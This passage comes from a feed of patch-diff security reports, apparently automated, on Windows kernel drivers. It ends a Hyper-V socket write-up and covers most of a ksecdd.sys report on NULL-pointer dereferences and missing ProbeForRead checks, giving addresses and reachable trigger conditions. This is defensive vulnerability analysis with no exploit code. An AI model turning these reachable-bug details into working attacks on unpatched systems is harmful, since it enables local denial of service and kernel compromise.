&lt;li&gt;&lt;strong&gt;&lt;code&gt;VmbusTlProcessNewConnectionForListener&lt;/code&gt; (&lt;code&gt;0x1C0019E60&lt;/code&gt; → &lt;code&gt;0x1C0019DB0&lt;/code&gt;):&lt;/strong&gt; Two &lt;code&gt;EvaluateCurrentState&lt;/code&gt; calls removed. This is a distinct but related synchronization hardening: the patched build now reads the listener readiness flag at &lt;code&gt;endpoint+0x1A9&lt;/code&gt; unconditionally under the endpoint fast-mutex (&lt;code&gt;mov dil, [r14+1A9h]&lt;/code&gt; at &lt;code&gt;0x1C0019FBA&lt;/code&gt;) and refuses the connection (&lt;code&gt;STATUS_CONNECTION_REFUSED&lt;/code&gt;, &lt;code&gt;0xC0000236&lt;/code&gt;, at &lt;code&gt;0x1C0019FEF&lt;/code&gt;) when it is not set. In the unpatched build the legacy branch skipped this check, so an inbound connection could be processed against a listener endpoint that had not finished association (the flag is set by &lt;code&gt;VmbusTlProviderListen&lt;/code&gt; at &lt;code&gt;0x1C001E7EF&lt;/code&gt; after &lt;code&gt;VmbusTlAssociateListenerToPartition&lt;/code&gt;). This closes that window.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;VmbusTlProviderListen&lt;/code&gt; (&lt;code&gt;0x1C001E420&lt;/code&gt; → &lt;code&gt;0x1C001E290&lt;/code&gt;):&lt;/strong&gt; Two &lt;code&gt;EvaluateCurrentState&lt;/code&gt; calls removed and &lt;code&gt;VmbusTlCreateListenEndpoint&lt;/code&gt; inlined. The unpatched build carried two near-identical copies of the listen-setup body (one per feature branch); the patched build keeps a single copy. The surviving path retains every validation (base-endpoint status, address-family &lt;code&gt;34&lt;/code&gt;/subtype &lt;code&gt;0&lt;/code&gt;, partition null-check, partition-id resolution, listener-to-partition association), so beyond the gate removal this is a de-duplication refactor rather than a removed check.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Other functions differ only in embedded trace-message line numbers and relocated data offsets (for example &lt;code&gt;HvSocketAcceptIncomingConnection&lt;/code&gt;, &lt;code&gt;HvSocketProviderUpdateAddresses&lt;/code&gt;, &lt;code&gt;VmbusTlProviderConnect&lt;/code&gt;, &lt;code&gt;memset&lt;/code&gt;); those are not security-relevant. &lt;code&gt;VmbusTlLoopbackPostprocessIoRequest&lt;/code&gt; does not change in content between the two builds.&lt;/p&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;EvaluateCurrentState&lt;/code&gt; (&lt;code&gt;0x1C0001D78&lt;/code&gt;) and &lt;code&gt;VmbusTlCreateListenEndpoint&lt;/code&gt; (&lt;code&gt;0x1C00198A0&lt;/code&gt;) exist only in the unpatched build. &lt;code&gt;EvaluateCurrentState&lt;/code&gt; is the removed feature gate; &lt;code&gt;VmbusTlCreateListenEndpoint&lt;/code&gt; is inlined into &lt;code&gt;VmbusTlProviderListen&lt;/code&gt;. No new functions are added.&lt;/p&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High that the code change is real and correctly directed: the unpatched build gates endpoint access on &lt;code&gt;EvaluateCurrentState&lt;/code&gt; with a legacy unreferenced path, and the patched build removes the gate and legacy path and always uses the spinlock-protected, reference-counted helper.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nature of the change:&lt;/strong&gt; This is a feature-staged synchronization/lifetime hardening. The safe path is present in both builds; the patch finalizes the rollout by removing the gate and the legacy path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Severity rationale:&lt;/strong&gt; Rated Medium. The class is a genuine UAF/race on a kernel pool object reachable from local user-mode socket operations, but the vulnerable path is one branch of a feature gate whose default state is not determinable from the binary, and no concrete exploitation primitive beyond a freed-pool dereference is established from these builds.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>ksecdd.sys — NULL-pointer dereference &amp; missing ProbeForRead in SSPI dispatch and IOCTL paths (CWE-476, CWE-822) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/ksecdd_7819502b-ksecdd-report-20260629-001523.html" rel="alternate"/><published>2026-06-29T00:00:00-07:00</published><updated>2026-06-29T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-29:/drift-corpus/item/ksecdd_7819502b-ksecdd-report-20260629-001523.html</id><summary type="html">&lt;p&gt;KB5094128&lt;/p&gt;</summary><content type="html">&lt;hr&gt;
&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Unpatched binary&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ksecdd_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched binary&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ksecdd_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Overall similarity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0.7384 (73.8%)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Matched functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;371&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Changed functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;234&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Identical functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;137&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Unmatched (unpatched → patched)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0 / 0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch delivers input-validation hardening in the kernel-mode SSPI provider. Two genuine, verifiable classes of change are present:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;NULL-pointer / dispatch hardening in the SSPI message and context APIs&lt;/strong&gt; (&lt;code&gt;EncryptMessage&lt;/code&gt;, &lt;code&gt;DecryptMessage&lt;/code&gt;, &lt;code&gt;QuerySecurityContextToken&lt;/code&gt;, &lt;code&gt;ImpersonateSecurityContext&lt;/code&gt;, and the internal dispatch helpers). After the existing unsigned upper-bound check on the package index, the patched code adds an &lt;code&gt;lfence&lt;/code&gt; speculation barrier, reloads the dispatch-table base, and NULL-checks both the resolved package entry and the target function pointer before the CFG-guarded indirect call. For the four message/context entry points it additionally adds NULL checks on the caller-supplied context handle (and message buffer) that were absent in the unpatched build, closing a kernel NULL-pointer dereference (local BSOD) reachable when a NULL context handle is passed.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Missing &lt;code&gt;ProbeForRead&lt;/code&gt; on user-supplied IOCTL input buffers&lt;/strong&gt; in the fast-I/O device-control handlers (&lt;code&gt;KsecIoctlFreeVm&lt;/code&gt;, &lt;code&gt;KsecIoctlAllocVm&lt;/code&gt;, &lt;code&gt;KsecIoctlFreePool&lt;/code&gt;, &lt;code&gt;KsecIoctlAllocPool&lt;/code&gt;, &lt;code&gt;KsecIoctlCopyPool&lt;/code&gt;, &lt;code&gt;KsecIoctlDupLsaHandle&lt;/code&gt;, &lt;code&gt;KsecIoctlInsertProtectedProcessAddress&lt;/code&gt;, &lt;code&gt;KsecValidateAddress&lt;/code&gt;, and related handlers reached through &lt;code&gt;KsecFastIoDeviceControl&lt;/code&gt;). The unpatched build contains &lt;strong&gt;zero&lt;/strong&gt; &lt;code&gt;ProbeForRead&lt;/code&gt; calls; the patched build adds them before every dereference of the caller-supplied input buffer.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Two claims that a first pass might reach — that the patch removes an IOCTL &lt;code&gt;0x398000&lt;/code&gt; "kernel process handle leak" and adds object validation to an IOCTL &lt;code&gt;0x390058&lt;/code&gt; "arbitrary VM free" in &lt;code&gt;KsecDispatch&lt;/code&gt; — do &lt;strong&gt;not&lt;/strong&gt; hold against the binaries: both IOCTL handlers are functionally identical in the two builds. Those items are recorded below as &lt;strong&gt;No security-relevant change&lt;/strong&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1 — Kernel NULL Dereference / dispatch hardening in SSPI context APIs (LOW)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attribute&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Low (local denial of service)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability class&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CWE-476 (NULL Pointer Dereference); dispatch-index speculation barrier (&lt;code&gt;lfence&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;EncryptMessage&lt;/code&gt; (SSPI SealMessage), &lt;code&gt;DecryptMessage&lt;/code&gt; (SSPI UnsealMessage), &lt;code&gt;QuerySecurityContextToken&lt;/code&gt;, &lt;code&gt;ImpersonateSecurityContext&lt;/code&gt;, &lt;code&gt;DeleteUserModeContext&lt;/code&gt; (internal), &lt;code&gt;ProcessSecurityContextUnMarshalResponse&lt;/code&gt; (internal)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Primitive&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Kernel BSOD (local DoS) when a NULL context handle is passed to a message/context API&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt; In the unpatched build, &lt;code&gt;EncryptMessage&lt;/code&gt;, &lt;code&gt;DecryptMessage&lt;/code&gt;, &lt;code&gt;QuerySecurityContextToken&lt;/code&gt;, and &lt;code&gt;ImpersonateSecurityContext&lt;/code&gt; read the package index from &lt;code&gt;*phContext&lt;/code&gt; and use it to index a per-package dispatch table, without first checking that &lt;code&gt;phContext&lt;/code&gt; is non-NULL. If &lt;code&gt;phContext == NULL&lt;/code&gt;, the &lt;code&gt;mov&lt;/code&gt; that loads &lt;code&gt;*phContext&lt;/code&gt; faults in kernel mode. The subsequent dispatch does an unsigned upper-bound check on the index and then loads a package-entry pointer and a function pointer without NULL-checking either; the indirect call is made through the Control-Flow-Guard dispatch thunk (&lt;code&gt;__guard_dispatch_icall_fptr&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The patch:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;adds &lt;code&gt;if (phContext == NULL ...) return SEC_E_INVALID_HANDLE&lt;/code&gt; (and, for &lt;code&gt;EncryptMessage&lt;/code&gt;/&lt;code&gt;DecryptMessage&lt;/code&gt;, a NULL check on the message-buffer argument);&lt;/li&gt;
&lt;li&gt;inserts an &lt;code&gt;lfence&lt;/code&gt; after the unsigned bounds check (a Spectre-v1 / bounds-check-bypass barrier on the attacker-influenced index);&lt;/li&gt;
&lt;li&gt;reloads the dispatch-table base pointer after the bounds check; and&lt;/li&gt;
&lt;li&gt;adds &lt;code&gt;test reg,reg / je error&lt;/code&gt; on both the resolved package entry and the loaded function pointer before the indirect call.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For &lt;code&gt;QuerySecurityContextToken&lt;/code&gt;, &lt;code&gt;ImpersonateSecurityContext&lt;/code&gt;, and &lt;code&gt;DeleteUserModeContext&lt;/code&gt;, the inline dispatch was moved into shared validating helpers (&lt;code&gt;KernelPackageCallValidatorWorkers::CallValidator&amp;lt;…&amp;gt;::InvokeById&lt;/code&gt;, at &lt;code&gt;0x180029C10&lt;/code&gt; for the offset-&lt;code&gt;0x40&lt;/code&gt; slot and &lt;code&gt;0x180029960&lt;/code&gt; for the offset-&lt;code&gt;0x08&lt;/code&gt; slot) that contain the same &lt;code&gt;lfence&lt;/code&gt; + entry-NULL + function-pointer-NULL logic.&lt;/p&gt;
&lt;p&gt;Note on scope: the unpatched &lt;code&gt;DeleteUserModeContext&lt;/code&gt; already NULL-checks its context-handle argument and the function pointer; for that function the added protection is the &lt;code&gt;lfence&lt;/code&gt;, the table reload, and the entry-pointer NULL check. &lt;code&gt;ProcessSecurityContextUnMarshalResponse&lt;/code&gt; is an internal async-response unmarshaller whose dispatch index comes from previously unmarshalled data rather than a raw caller handle; it received the same dispatch hardening.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Entry point &amp;amp; data flow (NULL-deref variant):&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A caller invokes a kernel SSP message/context routine (&lt;code&gt;EncryptMessage&lt;/code&gt;/&lt;code&gt;DecryptMessage&lt;/code&gt;/&lt;code&gt;QuerySecurityContextToken&lt;/code&gt;/&lt;code&gt;ImpersonateSecurityContext&lt;/code&gt;) with a NULL &lt;code&gt;PCtxtHandle&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The unpatched routine executes &lt;code&gt;mov reg, [phContext]&lt;/code&gt; to read the package index — with &lt;code&gt;phContext == NULL&lt;/code&gt; this faults in kernel mode → bugcheck (local DoS).&lt;/li&gt;
&lt;li&gt;The patched routine returns &lt;code&gt;SEC_E_INVALID_HANDLE&lt;/code&gt; (&lt;code&gt;0x80090301&lt;/code&gt;) instead.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Finding 2 — IOCTL 0x398000 handler (No security-relevant change)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attribute&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;None (no change between builds)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected function&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;KsecDispatch&lt;/code&gt; (&lt;code&gt;sub_1c001e8c0&lt;/code&gt; unpatched / &lt;code&gt;0x180026dc0&lt;/code&gt; patched)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The IOCTL &lt;code&gt;0x398000&lt;/code&gt; handler is &lt;strong&gt;present and functionally identical in both builds&lt;/strong&gt;. In both, it opens a handle to &lt;code&gt;PsGetCurrentProcess()&lt;/code&gt; (the caller's own process) with &lt;code&gt;ObOpenObjectByPointer(process, OBJ_KERNEL_HANDLE, NULL, 0x478, NULL, KernelMode, &amp;amp;state[1])&lt;/code&gt;. The handle is stored into the kernel LSA-state structure (&lt;code&gt;v19+1&lt;/code&gt; / &lt;code&gt;v25+1&lt;/code&gt;), not returned to user mode; the user output buffer receives only the DWORD &lt;code&gt;KsecSystemProcessId&lt;/code&gt;. &lt;code&gt;0x478&lt;/code&gt; is a set of &lt;strong&gt;process&lt;/strong&gt; access rights (&lt;code&gt;PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION&lt;/code&gt;), not token rights, and the object type passed to &lt;code&gt;ObOpenObjectByPointer&lt;/code&gt; is &lt;code&gt;NULL&lt;/code&gt;. There is no handle leak and no removal of this handler. The only diff in this branch is a refactor (&lt;code&gt;InitSecurityInterfaceW()&lt;/code&gt; → &lt;code&gt;CreateClient(...)&lt;/code&gt;). &lt;strong&gt;No security-relevant change.&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;Finding 3 — IOCTL 0x390058 handler (No security-relevant change)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attribute&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;None (no change between builds)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected function&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;KsecDispatch&lt;/code&gt; (&lt;code&gt;sub_1c001e8c0&lt;/code&gt; unpatched / &lt;code&gt;0x180026dc0&lt;/code&gt; patched)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The IOCTL &lt;code&gt;0x390058&lt;/code&gt; handler is &lt;strong&gt;functionally identical in both builds&lt;/strong&gt;. In both, it requires &lt;code&gt;RequestorMode == UserMode&lt;/code&gt;, a non-NULL requestor process, and a non-NULL buffer; validates the target address against the driver's own tracked-allocation list via &lt;code&gt;KsecRemoveValidVm(RequestorProcess, address)&lt;/code&gt; (which returns NULL — and the request fails — for any address ksecdd did not previously allocate for that process); and only then calls &lt;code&gt;ZwFreeVirtualMemory&lt;/code&gt;. The IOCTL is METHOD_BUFFERED (&lt;code&gt;0x390058 &amp;amp; 3 == 0&lt;/code&gt;), so the input is read from the kernel-copied system buffer and needs no &lt;code&gt;ProbeForRead&lt;/code&gt;. No &lt;code&gt;ProbeForRead&lt;/code&gt; or &lt;code&gt;ObReferenceObjectByHandle&lt;/code&gt; was added to this branch in the patched build. &lt;strong&gt;No security-relevant change.&lt;/strong&gt; (The &lt;code&gt;ProbeForRead&lt;/code&gt;/&lt;code&gt;ObReferenceObjectByHandle&lt;/code&gt; additions are in the separate fast-I/O IOCTL handlers — see Finding 6.)&lt;/p&gt;
&lt;h3&gt;Finding 4 — SspiAcceptSecurityContextAsync: added output-buffer-count bound check (LOW)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attribute&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Low (defensive bound check)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability class&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CWE-1284 (improper validation of a specified quantity)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected function&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SspiAcceptSecurityContextAsync&lt;/code&gt; (&lt;code&gt;0x1c0020250&lt;/code&gt; → &lt;code&gt;0x1800240f0&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause / change:&lt;/strong&gt; The unpatched &lt;code&gt;SspiAcceptSecurityContextAsync&lt;/code&gt; delegates directly to &lt;code&gt;KsecProcessSecurityContext&lt;/code&gt;. The patched version was restructured to marshal the async request inline and adds &lt;code&gt;if (pOutput-&amp;gt;cBuffers &amp;gt; 0x12) return 0x8009035D&lt;/code&gt; (&lt;code&gt;SEC_E_INVALID_TOKEN&lt;/code&gt;), plus NULL checks on &lt;code&gt;phContext&lt;/code&gt;/&lt;code&gt;phCredential&lt;/code&gt;/&lt;code&gt;phNewContext&lt;/code&gt; and a &lt;code&gt;MapKernelContextHandle&lt;/code&gt; call on &lt;code&gt;phContext&lt;/code&gt;. &lt;code&gt;pOutput&lt;/code&gt; is the output &lt;code&gt;SecBufferDesc&lt;/code&gt; supplied by the local caller, not network-controlled attacker data; there is no demonstrable overflow in either build. This is a defensive upper bound on a caller-provided buffer count, not a fix for a reachable overflow primitive.&lt;/p&gt;
&lt;h3&gt;Finding 5 — Missing NULL validation in ImportSecurityContextW (LOW)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attribute&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Low (local denial of service)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability class&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CWE-476 (NULL Pointer Dereference)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected function&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ImportSecurityContextW&lt;/code&gt; (&lt;code&gt;0x1c0023b50&lt;/code&gt; → &lt;code&gt;0x180021ac0&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause / change:&lt;/strong&gt; The unpatched &lt;code&gt;ImportSecurityContextW&lt;/code&gt; dereferences the output context handle &lt;code&gt;phContext&lt;/code&gt; (&lt;code&gt;phContext-&amp;gt;dwUpper = …; phContext-&amp;gt;dwLower = …&lt;/code&gt;) without a NULL check, and passes &lt;code&gt;pPackedContext&lt;/code&gt; to the package handler. The patch adds &lt;code&gt;if (pPackedContext != NULL &amp;amp;&amp;amp; phContext != NULL) { … } else return STATUS_INVALID_PARAMETER&lt;/code&gt; (&lt;code&gt;0xC000000D&lt;/code&gt;). Both builds already NULL-check the package function pointer (&lt;code&gt;if (v10 != NULL)&lt;/code&gt;), so no function-pointer check was added. Impact is a local NULL-pointer dereference (BSOD) if a caller passes a NULL &lt;code&gt;phContext&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Finding 6 — Missing ProbeForRead on user IOCTL input buffers in fast-I/O device control (MEDIUM)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attribute&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Medium (untrusted user-pointer dereference in kernel)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability class&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CWE-822 (Untrusted Pointer Dereference) / missing &lt;code&gt;ProbeForRead&lt;/code&gt;; CWE-367 (double-fetch / TOCTOU) for &lt;code&gt;KsecIoctlHandleFunctionReturn&lt;/code&gt; and &lt;code&gt;KsecIoctlClientCallback&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;KsecIoctlHandleFunctionReturn&lt;/code&gt;, &lt;code&gt;KsecIoctlClientCallback&lt;/code&gt;, &lt;code&gt;KsecIoctlAllocVm&lt;/code&gt;, &lt;code&gt;KsecIoctlFreeVm&lt;/code&gt;, &lt;code&gt;KsecIoctlCopyVm&lt;/code&gt;, &lt;code&gt;KsecIoctlAllocPool&lt;/code&gt;, &lt;code&gt;KsecIoctlFreePool&lt;/code&gt;, &lt;code&gt;KsecIoctlCopyPool&lt;/code&gt;, &lt;code&gt;KsecIoctlDupLsaHandle&lt;/code&gt;, &lt;code&gt;KsecIoctlInsertProtectedProcessAddress&lt;/code&gt;, &lt;code&gt;KsecIoctlRemoveProtectedProcessAddress&lt;/code&gt;, and the VM helper &lt;code&gt;KsecCopyVirtualMemory&lt;/code&gt;, all reached via &lt;code&gt;KsecFastIoDeviceControl&lt;/code&gt; (&lt;code&gt;0x1c0002910&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Primitive&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Kernel dereference of an unvalidated caller-supplied pointer (invalid-address fault / read from an address the caller did not prove is user-mode); double-fetch of a user buffer for two handlers&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause / change:&lt;/strong&gt; The fast-I/O device-control path (&lt;code&gt;KsecFastIoDeviceControl&lt;/code&gt;) passes the caller-supplied input buffer pointer straight to the per-IOCTL handlers. In the unpatched build these handlers dereference that pointer directly with &lt;strong&gt;no &lt;code&gt;ProbeForRead&lt;/code&gt;&lt;/strong&gt; — the entire unpatched binary contains &lt;strong&gt;zero&lt;/strong&gt; &lt;code&gt;ProbeForRead&lt;/code&gt; calls, versus 24 in the patched binary. The fix was applied individually across the whole &lt;code&gt;KsecIoctl*&lt;/code&gt; handler family, not to a single handler. Two forms are present:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Probe-then-use&lt;/strong&gt; (&lt;code&gt;KsecIoctlFreeVm&lt;/code&gt; &lt;code&gt;0x1C000E91C&lt;/code&gt;→&lt;code&gt;0x18000E168&lt;/code&gt;, &lt;code&gt;KsecIoctlAllocVm&lt;/code&gt; &lt;code&gt;0x1C0001700&lt;/code&gt;→&lt;code&gt;0x180005B98&lt;/code&gt;, &lt;code&gt;KsecIoctlFreePool&lt;/code&gt; &lt;code&gt;0x1C000E890&lt;/code&gt;→&lt;code&gt;0x18000E084&lt;/code&gt;, &lt;code&gt;KsecIoctlAllocPool&lt;/code&gt; &lt;code&gt;0x1C0005A00&lt;/code&gt;→&lt;code&gt;0x18000D8E8&lt;/code&gt;, &lt;code&gt;KsecIoctlCopyPool&lt;/code&gt; &lt;code&gt;0x1C00057C8&lt;/code&gt;→&lt;code&gt;0x18000DE2C&lt;/code&gt;, &lt;code&gt;KsecIoctlCopyVm&lt;/code&gt; &lt;code&gt;0x1C0001AA4&lt;/code&gt;→&lt;code&gt;0x1800032F0&lt;/code&gt;, &lt;code&gt;KsecIoctlDupLsaHandle&lt;/code&gt; &lt;code&gt;0x1C0001C1C&lt;/code&gt;→&lt;code&gt;0x180005FD8&lt;/code&gt;, &lt;code&gt;KsecIoctlInsertProtectedProcessAddress&lt;/code&gt; &lt;code&gt;0x1C0001694&lt;/code&gt;→&lt;code&gt;0x18000E360&lt;/code&gt;, &lt;code&gt;KsecIoctlRemoveProtectedProcessAddress&lt;/code&gt; &lt;code&gt;0x1C0001650&lt;/code&gt;→&lt;code&gt;0x180006230&lt;/code&gt;, &lt;code&gt;KsecCopyVirtualMemory&lt;/code&gt; &lt;code&gt;0x1C0003F74&lt;/code&gt;→&lt;code&gt;0x180005AC0&lt;/code&gt;): a &lt;code&gt;ProbeForRead(inputBuffer, &amp;lt;len&amp;gt;, &amp;lt;align&amp;gt;)&lt;/code&gt; is added before the dereference. Some of these previously used only a weak start-of-range test (e.g. &lt;code&gt;if (*a1 &amp;gt;= MmUserProbeAddress)&lt;/code&gt;) that did not validate the whole buffer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Probe-and-capture / double-fetch fix&lt;/strong&gt; (&lt;code&gt;KsecIoctlHandleFunctionReturn&lt;/code&gt; &lt;code&gt;0x1C0006898&lt;/code&gt;→&lt;code&gt;0x180006728&lt;/code&gt;, &lt;code&gt;KsecIoctlClientCallback&lt;/code&gt; &lt;code&gt;0x1C000E778&lt;/code&gt;→&lt;code&gt;0x18000DB54&lt;/code&gt;): the unpatched handler passed the &lt;strong&gt;raw user pointer&lt;/strong&gt; into the downstream callee. &lt;code&gt;KsecIoctlHandleFunctionReturn&lt;/code&gt; only did a force-fault touch of the range end (&lt;code&gt;if (a1+size &amp;gt; MmUserProbeAddress || overflow) *(BYTE*)MmUserProbeAddress = 0;&lt;/code&gt;) and then called &lt;code&gt;CallInProgressCompleted(a1, a1, size)&lt;/code&gt; on the user pointer. The patch adds &lt;code&gt;ProbeForRead(Src, size, 1)&lt;/code&gt;, allocates a pool buffer, &lt;code&gt;RtlCopyFromUser(Pool, Src, size)&lt;/code&gt;, and operates on the &lt;strong&gt;kernel copy&lt;/strong&gt; — removing a double-fetch/TOCTOU window as well as the missing probe.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The handle values read from these buffers are, in both builds, separately validated with &lt;code&gt;ObReferenceObjectByHandle(..., PsProcessType, ...)&lt;/code&gt; and addresses with &lt;code&gt;KsecRemoveValidVm&lt;/code&gt;/&lt;code&gt;KsecInsertValidVm&lt;/code&gt;, which limits impact; the added probing closes the window in which a caller could supply a non-user-mode or invalid input-buffer address (or mutate it after a check) and have the driver dereference it in kernel mode.&lt;/p&gt;
